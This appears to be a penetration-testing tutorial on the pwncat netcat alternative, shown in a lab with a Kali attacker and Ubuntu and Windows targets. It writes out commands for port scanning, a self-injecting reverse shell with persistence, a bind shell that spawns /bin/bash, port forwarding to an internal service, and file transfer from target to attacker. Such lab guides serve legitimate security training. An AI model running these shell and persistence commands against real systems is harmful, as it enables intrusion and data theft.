Pwncat stands out as an open-source Python tool highly regarded for its versatility, providing a contemporary alternative to the traditional netcat utility. Tailored for network exploration, exploitation, and penetration testing needs, it offers a modernized approach to these tasks. With an emphasis on user-friendly features and comprehensive functionality, pwncat facilitates seamless interactions with network services, aiding in reconnaissance and vulnerability assessment.
The official documentation for the usage of this tool can be checked from here: https://pwncat.org/
Table of Content
- Lab Setup
- Installation
- Usage
- Port Scanning and Banner grabbing
- As a listener
- Reverse Shell (Windows)
- Local Port Forwarding
- To Send/Receive files
- Bind Shell (Linux)
- Advantages over Netcat
- Conclusion
Lab Setup
In this article, we are going to show the usage of pwncat on both linux and windows target machines as mentioned below:
Target Machines: Ubuntu (192.168.1.23), Windows (192.168.1.4)
Attacker Machine: Kali Linux (192.168.1.7)
Installation
Installation of pwncat can be done using pip or apt.
To install using apt use the following command:
apt install pwncat
To install using pip use the following command:
pip install pwncat
Usage
Port scanning and Banner grabbing
Pwncat can be used to perform both port scanning and banner grabbing on the open ports by stating the range of ports along with the –banner flag.
pwncat -z 192.168.1.23 1-100
pwncat -z 192.168.1.23 1-100 --banner
Pwncat not only performs port scanning on TCP ports it can also scan UDP ports just by using a -u flag in the above command.
As a Listener
When used as a listener pwncat holds a persistence by creating a file in the /tmp/ directory. Therefore, if a connection is lost the reverse shell can still be obtained at the same port which was previously used like a persistence.
pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234
The persistence can be checked by running a rlwrap listener at the same port after terminating the above connection.
Pwncat has a feature to create persistence on multiple ports which can be performed using the following command:
pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2
It can be observed that along with port 1234, the reverse shell can also be obtained on the ports 1235 and 1236.
Reverse Shell (Windows)
To get a reverse shell, command can be used from the reverse shell generator (https://www.revshells.com/) in the Windows machine to get a reverse shell.
Before executing the command copied from the revshells.com, start a listener at port 4444 in the kali machine using the following command:
pwncat -l 4444
Local Port Forwarding
Perform the installation of pwncat inside the Ubuntu machine using the following command:
pip3 install pwncat
After a reverse shell is obtained using the usage discussed in the As a Listener section. It was observed that an application is running internally inside the Ubuntu machine at port 8080. Hence to access that web application inside our kali machine, we will perform Local Port forwarding using the following command:
pwncat -L 0.0.0.0:5000 127.0.0.1 8080
After the execution of the above command, the web application can now be accessed inside the kali machine at the URL: http://192.168.1.23:5000
Send and Receive Files
Besides the above discussed usage pwncat can also be used to send/receive files. It starts with the installation of pwncat in the ubuntu machine.
This includes creating a file in the Ubuntu system as data.txt file in the ubuntu machine and start a listener in the kali machine where the file is to be received.
To receive the file in the kali machine, the following command can be used:
pwncat -l 6666 > data.txt
After the listener is active the following command can be used to transfer the file in kali machine.
pwncat 192.168.1.7 6666 < data.txt
Bind Shell (Linux)
To get a bind shell start a listener inside the kali machine using the following command:
pwncat 192.168.1.23 9874
Inside the Ubuntu machine type the following command:
pwncat -l -e '/bin/bash ' 9874 -k
It can be observed that the bind shell connection is obtained on the kali machine. Because of -k flag used above the bind shell will re-accept new clients as soon as a client has disconnected.
It can be noted that the above procedure is also satisfied while working with the UDP ports just by using -u flag after the command.
Advantages over Netcat
Pwncat, a feature-rich netcat-like tool designed for pentesters and red teamers, offers several enhancements over traditional Netcat:
- Interactive Shell
- Scriptable Interface
- Encrypted Communication
- Persistance
Pwncat provides an interactive shell with syntax highlighting and command completion, improving the user experience. Pentesters can automate tasks using Pwncat’s Python scripting interface, allowing for greater flexibility and customization. It also supports encrypted communication channels, ensuring confidentiality when interacting with compromised systems.
Conclusion
In conclusion, we can say that pentesters/red teamers can use a lot of tools to get reverse shell/bind shell/ upload-download files/Local Port forwarding and many more. However, if pwncat is considered in regular practise it can prove to be a very valuable and time saving tool.
Author: Vinayak Chauhan is an InfoSec researcher and Security Consultant. Contact here
Source: HackingArticles
Source Link: https://www.hackingarticles.in/a-detailed-guide-on-pwncat/